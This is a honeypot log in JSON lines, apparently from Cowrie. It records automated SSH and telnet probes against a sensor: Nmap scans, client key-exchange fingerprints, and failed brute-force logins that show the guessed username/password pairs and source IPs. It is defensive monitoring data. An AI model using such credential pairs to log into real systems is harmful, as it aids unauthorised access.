{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.153950Z","src_ip":"34.156.226.226","session":"57b35072e08e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.232298Z","src_ip":"34.156.226.226","session":"57b35072e08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.241041Z","src_ip":"34.156.226.226","session":"57b35072e08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36682,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb1484dc0f3e","protocol":"ssh","message":"New connection: 34.156.226.226:36682 (10.17.0.5:22) [session: eb1484dc0f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.391781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.519637Z","src_ip":"34.156.226.226","session":"eb1484dc0f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.598228Z","src_ip":"34.156.226.226","session":"eb1484dc0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.603730Z","src_ip":"34.156.226.226","session":"eb1484dc0f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.226.226","src_port":36694,"dst_ip":"10.17.0.5","dst_port":22,"session":"15269d6c6bac","protocol":"ssh","message":"New connection: 34.156.226.226:36694 (10.17.0.5:22) [session: 15269d6c6bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.754442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.885261Z","src_ip":"34.156.226.226","session":"15269d6c6bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:18.964660Z","src_ip":"34.156.226.226","session":"15269d6c6bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:19.207962Z","src_ip":"34.156.226.226","session":"15269d6c6bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33768,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb5110cbb3eb","protocol":"ssh","message":"New connection: 27.71.230.31:33768 (10.17.0.5:22) [session: cb5110cbb3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:33.364544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:33.386459Z","src_ip":"27.71.230.31","session":"cb5110cbb3eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:34.130616Z","src_ip":"27.71.230.31","session":"cb5110cbb3eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inuser1234","message":"login attempt [root/inuser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:35.370713Z","src_ip":"27.71.230.31","session":"cb5110cbb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:00:37.740396Z","src_ip":"27.71.230.31","session":"cb5110cbb3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":36196,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76a0223c1c4","protocol":"ssh","message":"New connection: 80.94.92.184:36196 (10.17.0.5:22) [session: e76a0223c1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:01.839102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:01.843452Z","src_ip":"80.94.92.184","session":"e76a0223c1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:03.489275Z","src_ip":"80.94.92.184","session":"e76a0223c1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"abc123","message":"login attempt [solv/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:04.654679Z","src_ip":"80.94.92.184","session":"e76a0223c1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:06.572556Z","src_ip":"80.94.92.184","session":"e76a0223c1c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":14689,"dst_ip":"159.203.135.109","dst_port":22,"session":"23a1997c065f","protocol":"ssh","message":"New connection: 178.20.210.208:14689 (159.203.135.109:22) [session: 23a1997c065f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:47.205446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:47.242620Z","src_ip":"178.20.210.208","session":"23a1997c065f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:47.306304Z","src_ip":"178.20.210.208","session":"23a1997c065f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:47.673422Z","src_ip":"178.20.210.208","session":"23a1997c065f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:48.771601Z","src_ip":"178.20.210.208","session":"23a1997c065f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56608,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f3e393bd10d","protocol":"ssh","message":"New connection: 27.71.230.31:56608 (159.203.135.109:22) [session: 2f3e393bd10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:52.284403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:52.335283Z","src_ip":"27.71.230.31","session":"2f3e393bd10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:52.888073Z","src_ip":"27.71.230.31","session":"2f3e393bd10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"inuser1234","message":"login attempt [root/inuser1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:56.261011Z","src_ip":"27.71.230.31","session":"2f3e393bd10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:01:57.547975Z","src_ip":"27.71.230.31","session":"2f3e393bd10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52002,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a4c0b61989","protocol":"telnet","message":"New connection: 107.6.151.170:52002 (159.203.135.109:23) [session: a5a4c0b61989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:09.740132Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":57182,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b28a70a9e5","protocol":"ssh","message":"New connection: 147.45.199.80:57182 (159.203.135.109:22) [session: b0b28a70a9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:28.100821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:28.104466Z","src_ip":"147.45.199.80","session":"b0b28a70a9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:28.203178Z","src_ip":"147.45.199.80","session":"b0b28a70a9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"klast","message":"login attempt [root/klast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:28.499551Z","src_ip":"147.45.199.80","session":"b0b28a70a9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:29.601032Z","src_ip":"147.45.199.80","session":"b0b28a70a9e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33160,"dst_ip":"10.17.0.5","dst_port":22,"session":"312d6ea3d3ad","protocol":"ssh","message":"New connection: 103.122.221.179:33160 (10.17.0.5:22) [session: 312d6ea3d3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:38.188131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:38.192116Z","src_ip":"103.122.221.179","session":"312d6ea3d3ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:38.442543Z","src_ip":"103.122.221.179","session":"312d6ea3d3ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29101984","message":"login attempt [root/29101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:39.191926Z","src_ip":"103.122.221.179","session":"312d6ea3d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:40.448388Z","src_ip":"103.122.221.179","session":"312d6ea3d3ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.058088302612305,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:02:57.798112Z","src_ip":"107.6.151.170","session":"a5a4c0b61989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51708,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c99c611549","protocol":"telnet","message":"New connection: 172.81.62.90:51708 (159.203.135.109:23) [session: a3c99c611549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:00.397803Z"}
